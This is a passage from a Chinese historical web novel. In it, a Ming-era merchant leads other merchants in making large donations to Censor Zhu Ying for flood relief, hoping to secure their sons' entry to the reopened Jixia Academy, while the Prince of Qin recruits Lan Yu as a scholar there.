他做梦都想给儿子找个好老师,让儿子能够在日后成为一个有用的读书人,能不像自己一样走到哪里都被人鄙夷,指指点点,胡老三明白,哪怕自己有钱,哪怕是明面上自己与各地官员觥筹交错,哪怕人家人前对自己客客气气,可眼神中藏着的那一抹鄙夷,他看得分明,背地里对自己都是不屑一顾的。 胡老三明白,这一切都是因为自己是商贾,是自己的身份所导致的。 士农工商,谁让自己是最低贱的商贾呢? 有钱地位还低,这在后世无法想象,可实际上现实就是如此,类似于后世的七八十年代,大家对下海发财的投机倒把的个体户充满了鄙夷,差不多就是类似的感觉,后世商贾地位的提升单纯只是政策方向上的调整,钱能转化成政绩,于是各地开始搞经济,开始拉拢商贾。 一切以经济建设为中心,这一句话才是让商贾地位提升的根本。 毕竟商贾在经济建设的过程中扮演着十分重要,不可或缺的角色。 本质上商贾的地位提升不是因为商贾本身,而是因为当权者的需要,仅此而已。 而显然,在眼下的大明,无论是老朱还是百官都并不觉得大明的发展需要商贾,甚至觉得商贾不事生产,影响到了大明的发展,事实上不光是大明,自古以来形成的观念都是如此,这也就不难理解为什么商贾有钱却地位依旧低下了....... 正是因为胡老三对商贾有着清晰的认知,所以他希望自己的孩子能够跳离这个圈子,虽然希望渺茫几乎没有希望,可他依旧想要全力托举试上一试..... 这也是为什么胡老三会选择自己打头阵的原因。 打头阵有好有坏,坏处就是可能会损失一大笔钱财,毕竟这登门拜访,总不能出手太过寒酸,这不是去拜访,这是去嘲讽人家去了。既然不能出手寒酸,那就要出点血了,真要是想交好的话,这出血还出大了! 出血倒是不怕,最怕的无非就像其他人说的,万一这重开稷下学宫只是一个托词,实际上朝廷只是想靠着这个说辞大肆收割一笔商贾,这打头阵的自然也就成了牺牲品,被朝廷盯上,吃大亏不说,还捞不到半点好处。 可胡老三已经下了决定! 这做生意么,哪有不冒风险的? 坏处不小,可好处....也很大! 万一这消息为真,那自己就能占据先机,提前同朱御史交好,甚至说不定当场都能敲定一个自家儿子的入学名额! 胡老三想到这里,什么其他的担忧就全都抛却到九霄云外去了,只要有这个可能性,他就愿意去做!哪怕知道这是一个圈套,胡老三也准备认了! 要说让自己去和其他的世家大族或是读书人相比的话,胡老三没有那么信心,可这外面传的消息是怎么传的? 满城风雨,消息传遍了整个应天府,消息的内容是这么传的,陛下让朱御史主持重开稷下学宫,陛下为学宫祭酒,此次稷下学宫重开,哪怕是商贾之家的子弟也有入学的可能性! 这消息中能看出什么? 胡老三对于消息十分敏感,他只是一眼就看出了其中的关键。 关键就在于,哪怕是商贾之家的子弟,也有入学的可能性! 倘若这消息是真的,那就意味着什么? 意味着商贾之家的弟子,可以入学,换句话说,商贾之家的子弟,一定会有一部分可以入学,而对此,胡老三的理解是,自己以及自己儿子的竞争对手,不是其他人,只是商贾! 自己只需要比其他商贾做的更好,只要自己的儿子比其他商贾之家的孩子更优秀,那既然都是商贾之家,出身并无高下之分的情况下,岂不是等于直接说,自家孩子能入学了? 这也是胡老三决定当这个打头先锋的原因所在! 且先不管儿子,我胡老三先把其他商贾全都给比下去!先和朱御史打个照面,在朱御史面前混个脸熟再说其他! ....... 胡老三主动请缨,其他的商贾自然没有不支持的道理。 从某种意义上来说,胡老三这打头阵也算是给大家打的头阵,商贾们也是报团取暖的讲究人,仗义多是屠狗辈,越是底层的圈子大家越是报团取暖,因为你不知道什么时候你就会遇到风险,需要其他人的帮忙。 “胡老板你是为什么打的头阵,这钱不能全让你出了,我出五百两银子,无论胡老板你探听出来的消息如何,这钱都不必归还。” “钱老板出五百两,那我也出五百两!” “我出八百两吧,老胡,拜托了!” “我出七百两!” “这里是一千两,胡老板还请收下,若是消息为真,可切莫忘了知会一声.....” “.......” 当即,房间里你一言我一语,顷刻之间在场的商贾就给胡老三凑出了一万三千两银子。 这场面要是让朝廷里的百官和老朱知道了,定然是大跌眼镜。 要知道,前些年老朱亲自出马找商贾要钱也才勉勉强强要到了一万两银子,这还是老朱豁出去了老脸的情况下,而眼下,这应天府的部分商贾随便一凑,就掏出了一万三千两银子,单纯拿去试水打头阵? 老朱和朝中的大人们终究还是不理解这些商贾的想法。 在凑了一万三千两银子之后,其余商贾纷纷不再开口,目光不约而同地都落在了胡老三的身上..... “胡老板,这打头阵你准备送个多少的礼金?” “若是还有所需的话,你说个数目,大家再凑上一凑。” 有人开口询问。 胡老三摆了摆手:“诸位给的也不少了,剩下的就交给胡某吧。正好胡某手上还有一批粮食在湖广附近,眼下湖广遭灾,这批粮食就当是胡某替诸位拜访朱御史的见面礼好了。” “钱倒也不多,价值十万两吧。” 胡老三轻描淡写地来了一句。 一时间,偌大的房间里,鸦雀无声! 所有人都是一愣,哪怕在场的都是有头有脸的大商贾,可依旧是被胡老三说出的这个数目给惊到了!一个个全都愣在了原地,一脸愕然地看着胡老三..... “价值.....十万?” “嘶!” 一个个商贾都是不约而同地倒吸了一口冷气。 “老胡,你这手笔也太大了吧?” “是啊老胡,用不着这么大手笔吧?就是试探一下。” “打个头阵,你用十万两?” “不止!眼下湖广遭灾,这价值十万两的粮草倘若在湖广附近的话,此刻的价值怕是还得翻上数倍!粮食一直可都是紧俏货,这湖广遭灾之后湖广附近的粮价更是每天一个价,啧啧啧,老胡,你可得想好啊,这价值十万两的粮草若是放到湖广一倒卖,不说多,赚个三十万两是轻松的,想必这批粮食也花了你不小的心血吧?就这么全掏出来了?” “是啊胡老板,三思啊!万一你这银子花了,朱御史来一个重开学宫的消息为假,那该如何是好?” “......” 周遭的商贾你一言我一语,显然大家都被胡老三的出手给惊吓到了,纷纷出言劝阻,让胡老三冷静。 胡老三却不搭理。 开玩笑!你们自己不愿意掏钱打头阵,还想扯老子后退? 万一消息为假,粮食没了是不错,可万一消息为真呢? 商贾之间虽然经常利益共同抱团取暖不错,可同时人与人之间永远也不会缺少尔虞我诈。 胡老三对此更是清楚,眼下大家确实有一部分人或许是当真关心自己,可另一部分人的心思就有待商榷了,无非就是担心一旦消息为真,自己这重礼相送,会抢了他们的名额。 送薄礼? 这种情况下打死胡老三也是不会送薄礼的,薄礼一送,消息为假,人家说不定还对自己颇有微词,消息为真,怕是都落人口舌,给朱御史更是留下了一个这人一般的印象.... 当即胡老三冲着其他商贾拱了拱手道:“诸位且听胡某一言。” 随着胡老三开口,周遭商贾大家的目光也全都落在了胡老三的身上...... 见场面逐渐安静下来,胡老三这才说道:“这价值十万的粮草胡某也是经过深思熟虑的,大家的好意胡某心领了,不过大家也就莫要再劝了,原本这批粮草胡某也只是想运到湖广正常贩卖,奈何正好赶上了湖广遭灾。” “哪怕是卖,胡某也不敢卖高价,至多也就是将这价值十万两的粮草卖个二十万两,否则朝廷追究起来,胡某也担不起这个责任。” “二十万两的见面礼,胡某还是出得起的,若是消息为真,大家皆大欢喜,若是消息为假,这二十万两,胡某也愿意拿这钱救一救湖广百姓,同时也和朱御史交个朋友!” 胡老三说的慷慨激昂,大义凛然。 一番话直接给在场的所有商贾都给说沉默住了...... 不过其中有不少商贾却是看出了胡老三的心思。 在场的商贾都是在应天府算得上首屈一指的大商人,都是千年的狐狸,胡老三打的什么主意,大家只是稍稍思量也就都明白了。 不过这明白归明白,做归做,明白不一定就要去做,胡老三也是知道这一点。 不是任何一个商贾都有那个底气冒着损失二三十万两的货物去只是为了探听一个消息的..... 大家不由看向胡老三..... 拿出价值至少二十万两的粮食救一救湖广百姓? 结交一个朱御史? 你胡老三什么时候这么大方了? 什么时候这么为百姓考虑了? 记得前些年陛下求捐的时候,你胡老三直接提前跑路去了北平府躲了半年吧? 听着胡老三的这番话,一众商贾不由不约而同地泛起了白眼...... 不过大家虽然做不到如胡老三这样的手笔,可相互互视一眼之后,不少商贾也开口..... “好!胡老板说得好!” “湖广遭灾,我等焉能坐视不理?” “是极是极,既然胡老板都出了这么大的手笔了,我们要是小气了,岂不是显得我等不仁不义了?” “不错,我等商贾也是有情有义之辈,先前五百两捐款就此作罢,我捐三千两!” “有才兄都捐了三千两了,那我那先前的一千两也拿不出手了,我捐五千两!” “我捐四千两!陪胡老板豪气一把!” “......” 在胡老三提出要捐价值至少二十万两的粮草之后,商贾们纷纷出言开口,纷纷大幅度拉高了捐赠的价格! 很快,原本总共募集的一万三千两就变成了五万八千两! 大家的想法也很简单,那就不是不能让胡老三专美于前。 这咱没有打头阵,不能和朱御史深入交流,可这捐钱上总不能表现的差的太多才是,否则万一这重开稷下学宫的消息为真,岂不是自断后路?日后孩子的路可就断干净了...... 大家都是有头有脸的人,家里谁没有几个儿子?望子成龙,大家都希望儿子能够在日后龙腾九天干出一番大事,比自己更加优秀,而眼下,就有这么一个有可能的机会摆在所有人的面前! 倘若消息为真,且自家的娃娃真入了稷下学宫,只要顺利在学宫学完结业,哪怕是科举未曾中弟,也可以说在某种意义上超越了自己这个父亲! 那是阶级的跨越! 胡老三看着一个个忽然对捐款更为热衷,更加活跃捐款的商贾们,他自然不会觉得自己有这么大面子。 这些个老狐狸,这是进可攻,退可守啊。 不过胡老三也没有想太多,虽然其他商贾进可攻退可守,可却不能卓尔于群,鹤立其中,自己要做的就是比其他商贾更好,彻底与之拉开差距! ....... 而就在胡老三以及一众身在应天府的大商贾们在私下互通有无,商讨到朱煐府中上门试探的同时..... 另一边。 朱煐府中却也热闹的不行。 同朱樉入宫之后,请示了老朱,朱樉这位秦王也就成了稷下学宫的副祭酒了。 虽然稷下学宫暂时还没有真正开启,但这并不影响朱樉这位爷以稷下学宫副祭酒之职自居,于是他自然而然就在朱煐府中待下来了,既然自诩稷下学宫副祭酒,按照朱樉的话说,这稷下学宫重开之事就有他的责任,他就要为之负责..... 不光是朱樉在朱煐府中,张平这个一直跟着朱煐厮混的,自然也是在的。 除了张平之外,还有方孝孺和朱允熥。 刚不久,蓝玉也上门了,送来了整整一万两银子..... 第65章 招揽凉国公 房间里,蓝玉还没有完全搞清楚情况。 这些日子以来蓝玉的行事风格和以往迥然不同,低调了许多。 这不低调也不行啊,朱煐先前在朝堂上话都说到那个份上了,老朱能够法外开恩没有立刻诛凉国公府满门蓝玉就已经是谢天谢地了,至于之后辞官未果,蓝玉也可以理解,他理解老朱的性格,以老朱的脾气性格,不是一个辞官归隐就会拉倒不作数的。 眼下整个凉国公府的生死就在老朱一念之间。 这些时日以来蓝玉完全不敢在朝中探听任何的消息,可谓是两耳不闻窗外事,一直府中在闭关。 好不容易上朝,也是实在闭不住了,被老朱喊到朝堂上,如果有的选择的话,蓝玉绝对会选择继续在家待着...... 以目前凉国公府所处的位置,上朝?太危险了! 奈何皇命不可违。 昨日湖广遭灾,蓝玉一声不吭,不是他没有见解,而是不敢发表见解,万一再被有心人给利用,那偌大的凉国公府可真就万劫不复了! 而在退朝之后,经过再三思索,蓝玉才决定出血本,凑了一万两银子送到了朱煐府上。 一来,是先前朱煐提点的恩情,至少让凉国公府至今无恙,这更重要的则是第二点,在蓝玉眼中,朱煐这位年纪轻轻入朝堂,百无禁忌却又安然无恙的朱御史,那就是陛下的代言人。 陛下不方便说的话就让他来说,陛下不方便做的事情,就让他来做,从表面上看,这一万两银子是送到朱煐府上,给朱煐帮忙,完成朱煐为湖广灾情筹措赈灾粮款的任务,可仔细一思考,当真如此吗? 蓝玉心中笃定,这位朱御史只是表现,其深层次,背后实为老朱,是老朱的态度! 若是按照这个逻辑,那这一万两实则是向老朱表忠心,表达了自己的心意。 可谓一举两得。 曾经的蓝玉爱财,可现在的蓝玉,他已经看开了,什么钱财,那都是身外之物,留得青山在不愁没柴烧,只要能够让陛下对自己的好感多上一分,能留自己一条性命,什么钱财的,都是过眼云烟而已。哪怕陛下不能留自己性命,看在自己这尽心尽力表忠心的份上,日后真要是对蓝家出手的时候,给蓝家留个后也行啊...... 蓝玉打着这个想法,亲自将凑到的一万两银子给送到了朱煐的府上。 虽然凉国公府家大业大,可要在短时间内凑出一万两银子也并非易事,毕竟大部分的家业都是不动产,凉国公府也不是什么巨富,现金流还是十分匮乏的...... 这一万两银子还是蓝玉东拼西凑出来的。 而当蓝玉来到朱煐府上的时候,看到朱樉也在,不由一愣。 在得悉几人正在商讨怎么重开稷下学宫一事后,蓝玉当即怔在了当场..... “朱御史,这重开稷下学宫的传闻,是真的?” 蓝玉虽说两耳不闻窗外事,可这样的大事哪怕他不刻意打听,在整个应天府都差不多被张平安排人宣传到位的情况下,蓝玉他哪怕是不想知道都不得不知道。 不过他没有当一回事,并未放在心上。 昨天这朱御史刚领了个筹措湖广赈灾钱粮的活,今天又说要重开稷下学宫?这如何可能? 必然是别有用心之辈放出的谣传罢了。 可让蓝玉没有想到的是,他来到朱煐府上送银子,却听到了几人还真就在商讨着如何重开稷下学宫! 是以他才有了这一问。 不等朱煐开口,朱樉已然笑道:“凉国公你这是什么反应?这消息不是人尽皆知了吗?” “张侍郎早已让人将消息散步了出去,这会儿早该传遍了京城才是,你不知道?” 蓝玉苦笑:“知道倒是知道,却是不晓得这消息居然是真的!” 说罢蓝玉看向朱煐,皱眉提醒:“朱御史,这筹措湖广赈灾钱粮已是大事,眼下又要重开这稷下学宫,这两件事凑在一起,怕是更为不易吧?” “凉国公此言差矣,这哪里是两件事?我老大这做的分明就是一件事嘛!” “我们此次重开稷下学宫目的就是给商贾之家的子弟一个入学的机会,借此向商贾筹措湖广赈灾钱粮,两者之间并无冲突,凉国公不必多虑。”张平替朱煐解释道:“此乃我老大的一石二鸟之计。” “重开稷下学宫,是为了....让商贾掏钱?” “这稷下学宫重开一事,是朱御史的主意?” 蓝玉似乎想到了什么,面色不由得一变:“此等大事,未请圣旨吗?陛下他不知?” “凉国公说笑了,这等大事没有父皇点头谁敢擅自做主?” “朱御史自然是请了圣旨的,本王承蒙父皇信任,添为我大明稷下学宫副祭酒一职,同朱御史一起重开稷下学宫。” 朱樉笑呵呵地一边说着一边挺了挺胸膛,副祭酒一职让这位秦王也感觉十分荣耀。 这可是名垂千古的稷下学宫的副祭酒啊! 蓝玉闻言先是松了口气,可紧接着又瞪大了眼睛。 “王爷你是副祭酒?” “那传闻说陛下当稷下学宫祭酒一事.....也是真的?” 蓝玉不敢相信。 在蓝玉不可置信的目光下,朱樉点了点头笑道:“这是自然,父皇既然想重开稷下学宫,那这稷下学宫祭酒一职除了父皇职位,谁能担任,谁又配当?” 蓝玉又不由看向了张平和方孝孺,方孝孺和张平尽皆点了点头:“秦王殿下所言尽皆属实,眼下圣旨就在府中,我去给凉国公取来。” 说完张平去取圣旨去了。 而蓝玉愣在了原地,好一阵子都没有缓过劲来..... 圣旨就放在隔壁房间,张平取了圣旨很快就回来了,而当蓝玉看到真真切切的老朱盖章的圣旨之后,整个人顿时再度呆立当场...... 虽然他的心里早已经做足了准备,隐约也感觉到了这圣旨必然是有的,朱煐不敢拿这般大事开玩笑,更何况还有秦王在一旁佐证。 可真正看到圣旨的那一刻,蓝玉依旧傻眼了..... 这稷下学宫....当真要重开了?而且看这架势,声势浩大啊! “怎么样凉国公?” “眼下我稷下学宫正是用人之际,要不然你入学宫来,当个博士?以后表现好的话,本王去和父皇请命,或有机会晋升副祭酒,不知凉国公意下如何?” 朱樉脸上满是笑意,笑吟吟地冲蓝玉说道。 他心里盘算着这个想法好半天了,事实上蓝玉刚提及这稷下学宫一事的时候朱樉的心里就已经有了心思和计较。 蓝玉也算是朝中首屈一指的国公了,眼下稷下学宫人少,虽然说质量高吧,可这人确实是少,也就一个挂名祭酒老头子,还有自己以及老三两个副祭酒,甚至老三都还没有到京城! 其他的朱御史,张平,方孝孺,几个博士。 相较于偌大的稷下学宫而言,这点人手就显得过于寒酸了。 可这稷下学宫又不是什么人都能进来当博士,当副祭酒的。 入内任职的人,须得有真本事,且有身份有地位! 而符合这三点的人,即便是放眼京城也不容易寻觅..... 不过嘛....这踏破铁鞋无觅处得来全不费工夫,这眼下就有人直接给自己送上门来了! 因此朱樉一眼就盯住了蓝玉,当即对着蓝玉就是一顿猛劝...... 显然,相较于朱煐只是将稷下学宫重开当成捞钱的工具而言,朱樉更有主人翁意识,确实是将稷下学宫当成了自己的事业,而为了自己的事业发展,朱樉也是尽力了。 蓝玉先是一愣,反应过来心中稍稍思量后便是大喜! 秦王邀请自己入稷下学宫当博士? 这意味着什么? 稷下学宫重开,于大明而言意义有多重大?如此重大之事,这博士又岂是随意选择的? 邀请自己,必有缘由!~ 而这缘由么..... 自然是陛下! 这稷下学宫重开请示了陛下,且陛下乃是学宫祭酒,换而言之,这稷下学宫的人员调动安排,要是没有陛下的首肯,谁敢轻举妄动? 眼下秦王对自己做出了邀请,那是不是可以理解为陛下想要我入学宫,当这稷下学宫博士? 蓝玉念及至此眯起了眼睛,脑海里不断闪过各种可能性以及猜想,最终眼中精芒一闪! “难道陛下对我已无杀心?” 蓝玉心中喃喃自语..... 这些日子以来蓝玉可以说是寝食难安,自从朱煐在朝堂上当着群臣的面直指蓝玉的未来后,蓝玉以及整个凉国公府就一直在担惊受怕和恐惧中度过,生怕哪一天忽然一道圣旨,整个凉国公府都随之烟消云散。 而眼下,听到了朱樉的邀请的蓝玉,脑海里的第一反应就是,老朱改了主意! 试问,倘若真想杀自己的话,一个将死之人,又何必多此一举让自己进入这稷下学宫? 既然借用了这稷下学宫四字,那自然是影响深远,甚至将影响后世千年! 这样的大行动,名留青史的所在,会让一个准备抄家的人担任博士吗? 显然不会! 这不是平白给学宫,给大明抹黑吗? 想着这些,顺着这个思路,蓝玉当即就分析出了一个结论——自己貌似....安全了? “是因为陛下看到了我的态度?” 蓝玉想到这几日自己的低调行事,又想到了刚刚双手奉上的一万两银子..... 许是因为自己这迥异于从前的作风做派,让陛下对自己网开一面? 蓝玉越想越是觉得就是如此。肯定是自己的表现让陛下消除了戒心,或者说愿意给自己一个机会! 想到这里,蓝玉眼中闪过了一抹精芒! “凉国公意下如何?” 就在这时,一旁一直翘首以盼,看着蓝玉的朱樉再开口询问道。 “王爷盛情相邀,这学宫又是朱御史主办,我要是不答应,那岂不是不识好歹了?” “这博士,我蓝玉当定了!” “只是....这文墨之事,我有些不通,到时还得朱御史帮衬帮衬。” 蓝玉看向了朱煐。 朱煐笑了。 好家伙,这朱樉好啊,都不用自己开口,这就把蓝玉也拉进来了? 这阵容就有点豪华了! 光是眼下确定的这几位爷镇场子,这稷下学宫一开之后,声势那就小不了! “凉国公放心,这稷下学宫又不是国子监,这文墨不通并不影响。” “稷下学宫重开志在恢复先秦百家争鸣之盛况,凡有一技之长且于当世顶尖的皆可入学传授学问本事。凉国公你虽不通文墨,可要说这行军打仗,兵书兵法,这天下间怕是无人能出你左右,你当博士,当之无愧啊!” “在下来看,这兵法兵书,行军打仗的真本事可比什么舞文弄墨,无病呻吟要强多了。” 蓝玉顿时因为朱煐的这一番话愣住了.....他愣在了原地..... ...... 而也就是刚确定了蓝玉加入稷下学宫一事的档口,管家通禀,说是有个叫胡老三的商贾上门前来拜访。 听闻这个消息的众人全都安静了下来。 朱煐、朱樉、蓝玉、张平、方孝孺,五人齐齐不言,只是相互看了看,用眼神进行了短暂的交流,最终眼神不约而同地看向了朱煐..... “带他进来!” 朱煐并不意外这个时间商贾会来。 商贾的消息往往都是最灵通的,眼下自己闹出了这么大的声势,他们要是没有收到半点消息,那才奇了怪了。 收到消息上门,这才是正常的明智之举..... “这些商贾的消息可是够灵通的啊。” 蓝玉不由咂舌。 “凉国公,这商贾做的是倒买倒卖的事,消息灵通可不就正常了吗?” “也不知此番前来是为何。” “应该是送钱的来了。”朱煐微微一笑说道。 四人在朱煐说完的那一刻全都没有吭声,大家显然都还有些不敢相信..... “让人进来吧。” 趁着四人愣神的功夫,朱煐直接让人将门口的胡老三给带了进来..... ...... 在胡老三入府见到朱煐的那一刻,胡老三顿时就愣住了..... 他走南闯北,生意又重点放在了京城,对于京城中的一些大人物自然熟悉,虽然私下没有过太多交集,可见总归是偷偷见过的,他一眼就认出了蓝玉和朱樉。 朱樉入京的时候胡老三远远望见过一眼,而蓝玉就更熟悉了,蓝玉一直在京城,京城就没有多少商贾是不认识蓝玉的..... 秦王,凉国公? 他们都在? 这是在做什么? 难道是.....? 几人聚在一起,那必然是在商量大事无疑,那眼下是有什么大事呢? 稍稍一想,胡老三的脑海里就闪过了一个念头,旋即瞳孔猛地一缩....... 第66章 这是我大明商贾? “见过秦王,见过凉国公,见过朱御史及两位大人。” 胡老三不敢怠慢赶忙躬身行礼。 身为一个商贾,面对任何一个官员他都不敢托大,下意识地就弯下了腰..... “哦?你认得本王?” 朱樉见胡老三一口叫破自己的身份,当即便来了兴致。 胡老三认识蓝玉不稀奇,毕竟蓝玉一直都在京城,可自己久居封地,能认识自己,这就有些厉害了。 “王爷说笑了,当日王爷入京小人有幸见过王爷真容,只一眼便记住了!” “原来如此。” 朱樉恍然点了点头,又问:“你来朱御史府上,所谓何事啊?” 大家的目光此刻也随着朱樉的询问齐刷刷的落到了胡老三的身上..... 胡老三也不墨迹,当即从怀中掏出了一张红色的拜帖,双手举着拜帖恭恭敬敬地递给了朱煐..... “朱御史,小人胡老三,这不是听闻您想重开稷下学宫吗?” “听闻此事之后小人便想来拜访您了。这重开稷下学宫可是大事,怕是需要不少钱财,传闻这稷下学宫要招收商贾子弟,小人便想着,此乃朱御史心胸宽广有教无类,却是不可让朱御史破费,更何况朱御史您还操劳着这湖广灾情。” “湖广百姓如今正处于水深火热之中,我大明两桩大事尽皆系于朱御史您一人之手,小人听闻之后也是心焦不已。” “这是小人和诸位行脚商人们一同凑出来的些许礼金,权当是给您的见面礼了,还请朱御史切莫推辞,一定收下!” “眼下正值朝堂多事之秋,这湖广灾情也好,朱御史想重开稷下学宫也罢,这哪哪儿都得用钱啊,我胡老三别的没有,却也知道什么叫做为国效忠,什么叫做救民如救火。” “还请朱御史务必收下!” 胡老三看到朱樉和蓝玉在此,方才进来的时候又隐约听到了房间里的谈论,心中基本已经有了五六分的把握。看来这传言非虚,朱御史确实是有重开稷下学宫的打算! 如此一来的话,那消息的真伪也就确定了一半接下来就是看看能不能从朱御史的口中得悉这商贾家的子弟入稷下学宫的条件了。 确认了一半的消息的胡老三心里大大松了口气。 无论如何,只要确认了这稷下学宫重开一事为真,那自己这次带来的钱就算是没白花。这消息纯值得! 而随着胡老三送上礼金,说出了一番慷慨激昂的场面话,房间里顿时陷入了一片死寂..... 方孝孺愣住了.... 张平愣住了.... 就连蓝玉和朱樉也是面面相觑,两人相视无言,全都怔在了原地..... 要说有所心里准备的,也就只有朱煐了。 朱煐只是听胡老三说的话,就清楚了这丫的是打的什么主意。 这是来探口风来了! 看来此人就是商贾的先头部队,过来试探的。只是不知道这礼金备了多少..... “胡老板这拳拳爱国之心却也是在商贾中少见了。” “不瞒胡老板,这湖广遭灾确实成了朝廷眼下的心头之患,按理说你这上门拜访,来者是客,朱某不该收下你这礼金,可想着这钱胡老板您也并非是送给我朱煐个人,而是送给湖广遭灾的百姓,如此的话,这钱便不得不收了。” 说着朱煐接过了胡老三的拜帖,只是随意地用眼神往上面稍稍的扫了一眼。 只是一眼,饶是朱煐有心理准备,也是不由一愣..... 价值十万两的....粮草? 此刻这粮草还都在湖广附近?即将运入湖广? 嘶! 大手笔啊! 饶是朱煐也不由为胡老三的这手笔给倒吸了一口冷气,大吃一惊! 这不是钱,这是实打实的粮食!而且还是在灾区附近的粮食!这意味着什么? 一个地方遭灾,当地的物价将会飙升!尤其是在此刻的湖广,那粮食价格绝对是一天一个价!粮价翻了数倍都有可能!哪怕有朝廷努力管控价格,可涨价个两三倍还是不可避免的。 换而言之,胡老三这只是一个见面礼,就直接给送出来了二三十万两? 出手如此大方,哪怕是放眼天下,这也绝对算得上是大商贾了啊! 须知,就连大明朝廷眼下一年的税收折合银两也才区区两千万两,这一个商贾就掏出了价值二三十万两的物资出来?即便朱煐知道大明的商贾手头指定有不少钱,可依旧被震惊到了! 大明自建国之后起,养精蓄锐二十五年时间,而在这期间,压根就没有收取商贾的任何税赋,虽然商人的地位频频受到打压,商贾不受人尊重,可有一点却是毋庸置疑!那就是大明的商贾,手里头确实是实打实地有钱啊! ...... 此刻,张平愕然,方孝孺瞪大了眼睛看着眼前的这一幕,若非亲眼所见亲耳所闻,他根本不敢相信! 朱樉和蓝玉甚至也不敢相信自己的耳朵.... 这都说商贾爱财如命,这还有主动送上门给钱的? 主动上门送礼? 等等! 众人刚刚从胡老三口中所说的上门送钱的消息中缓过劲来,忽然猛地意识到了另一个重点! 几人的目光不约而同地落在了朱煐的身上.... 朱煐的面色表情的变化自然瞒不过几人,而看到一直云淡风轻的朱煐居然因为这小小的礼单动容,这一刻,所有人都不由愣住,心中不约而同地升起了一个大胆的想法......难道这礼金.....数额很大? 可多大的数额,能让朱御史这样视金钱如粪土的人都为之动容? 蓝玉心中也在暗暗思量,刚刚自己送上门一万两银子的时候,朱御史可没有这般表情过,眼下的这表情分明已经是有些失态了! 能让朱御史失态的,绝非仅仅是一万两! 难不成这胡老三捐了数万两? 众人的心中不由升起了这么个猜想,而这猜想无异是最贴合现实的,能够让朱御史都为之动容的,绝对是几万两无疑! 可这一个商贾,什么也不要求,就这般平白无故地给捐了数万两? 这....可能吗? 理智和过往的经验告诉众人这不可能,可眼前赤裸裸的现实情况却又从心里面让人为之信服...... 数万两? 仅仅只是一个商贾捐出来的? 嘶! 这让几人心中不约而同地倒吸了一口冷气...... 要知道前些年大明同样有地方遭灾,同样是找应天府的商贾筹措银两。 当时主办此事的还是身为当今陛下的老朱自己,在这种情况下,这些个商贾总共才凑了两万两银子不到,想想曾经....再看看现在? 这特么的还是我们了解的大明商贾吗? 第67章 大手笔!当真大手笔! “胡老板有心了。” 即便是朱煐也不得不承认这胡老三确实是大手笔。 光是上门拜访的礼金就给出了十万两,而且还是此刻在湖广最紧俏的价值十万两的粮食!这手笔可不是一般的大! 见朱煐这么说,胡老三的脸上溢满了笑容。 他就怕钱白花,朱煐的这简简单单的一句赞赏其中意味可不小,最简单直接的就代表了自己送的这十万两,对方领情了! “朱御史说笑了,一切都是为了大明百姓嘛,虽然我们商贾在外名声不好,都说我们视财如命,可实际上我等心中也有一份赤忱,也有拳拳爱国之心!” “这十万两是胡某一人献上的礼金,其余的同僚还一同凑了六万余两银子,还请朱御史笑纳!” 胡老三到最后才说出了其余众人所献上的钱财。 这就是亲自来面见的好处,怎么去说,全靠自己的一张嘴,虽然风险是大,可这收益也大啊! 说话间的艺术就是如此,无形之中胡老三就已经和其他的商贾拉开了差距..... “哦?还有六万两?” “这倒是意外之喜,胡老板当真是解决了朱某的燃眉之急啊!” 朱煐听闻了胡老三的话,饶是他也不由得愣住了。 这十万两,居然还不是全部? 还有六万两? 嘶! 这他娘的好大的手笔! 只是来拜访自己,就送上了整整十六万两银子?这合理吗? ...... 而要说场上懵逼的,最懵逼的指定不是朱煐。 至少朱煐对于这些事情都是有所心理准备的,虽然这给的钱稍稍有些出乎预料,可却尚处于可以接受的范围,十六万两虽然不少,可朱煐也是见过世面的人。 这不就才十六万两吗? 而此时此刻,房间里的所有人全都闭上了嘴巴,一个个瞪大了眼睛看向朱煐.....他们的每一个人的脸上都充满了疑惑..... 朱樉懵了.... 蓝玉懵了.... 张平和方孝孺互视一眼,也齐齐怔住.... “咕咚....” 饶是以朱樉的见多识广,此刻也不由自主地咽了口唾沫,他怀疑自己的耳朵是不是出了问题,不由看向朱煐..... “十....十六万两?” “朱御史,本王没听错?” 朱樉完全不敢相信自己的耳朵。 “王爷,这十六万两用于湖广赈灾少时少了些,不过这是胡老板和他的同僚的拳拳爱国之心,不可小视啊,不算多,却也不少了。” 朱煐感叹道。 “????” 朱樉整个人就愣在了原地..... 不是,本王说的是这个意思吗? 十六万两! 这可是整整的十六万两啊! 十六万两都还不算多?那多少算多? 朱樉动了动嘴巴,欲言又止,原本下意识想要开口反驳,可话到嘴边却又被仅存的理智给止住了,心中思衬,这要是大惊小怪的话,岂不是明摆着说明本王没有见过什么世面吗? 这可不成! 想到这,朱樉原本想要说的话顿时止住,干咳两声,话锋一转..... “额咳咳...这十六万两确实是不算太多,不过却也不少了,胡老板,你有这爱护我大明之心,本王记住了,日后一定向父皇禀报,朝廷不会忘了你对朝廷的贡献的!” “十六万两是不多,不过胡老板这次也算是有心了,这十六万两中胡老板所送上的十万两并非银子,而是放在湖广附近的价值十万两的粮食,若是以眼下湖广的情况售卖,这价值十万两的粮食怕是能卖出二三十万两的高价。” “胡老板,你手笔不小啊。” 朱煐笑呵呵地冲着胡老三拱手。 “朱御史说笑了,我胡老三虽是商贾,却也知道什么叫做家国大义,这十万两粮食哪怕是放在湖广正常售卖,我胡老三也不会赚取分毫,正所谓君子爱财取之有道,有所为有所不为,我胡老三算不得什么君子,却也不会吃人血馒头!” 胡老三一脸郑重,言语间尽显自己的立场。 而这会儿,朱樉再一次听呆住了..... 不是,等等! 听你俩这话的意思.....合着这十六万两里面,还有十万两是此刻放在湖广的粮食? “嘶!” 饶是朱樉猛地听到这么个消息也是不由得倒吸了一口冷气。 简直了! 十万两虽多,可却还在朱樉的认知范围之内,可这价值十万两的粮草,还是此刻放在湖广的价值十万两的粮食!这可就不是简简单单的钱能够相比较的了! 这代表的不是价值十万两的粮食,这代表着的是千千万万的湖广遭了灾的百姓啊! 不是,现在大明的商贾都这般慷慨了吗? 出手如此大方? 朱樉不敢相信自己的眼睛,他不敢相信大明的商贾,居然会有这般手笔! 而和他一样不敢相信的,还有身为凉国公的蓝玉。 相比较于朱樉而言,蓝玉就更加难以理解和难以置信了。 他久居朝堂,更是明白朝廷有多少次在缺钱的时候想要从商贾的手里弄银子,为此甚至老朱都亲自出马好几次了,可结果呢? 这些个商贾哪怕是冒着被吵架灭族的风险也要哭穷,也不漏富,一个个藏着掖着,老朱求爷爷告奶奶都才凑了几万两银子,这才引得老朱勃然大怒。 可眼下.....这是什么情况? 这全然就不符合常理啊..... ....... 蓝玉不理解。 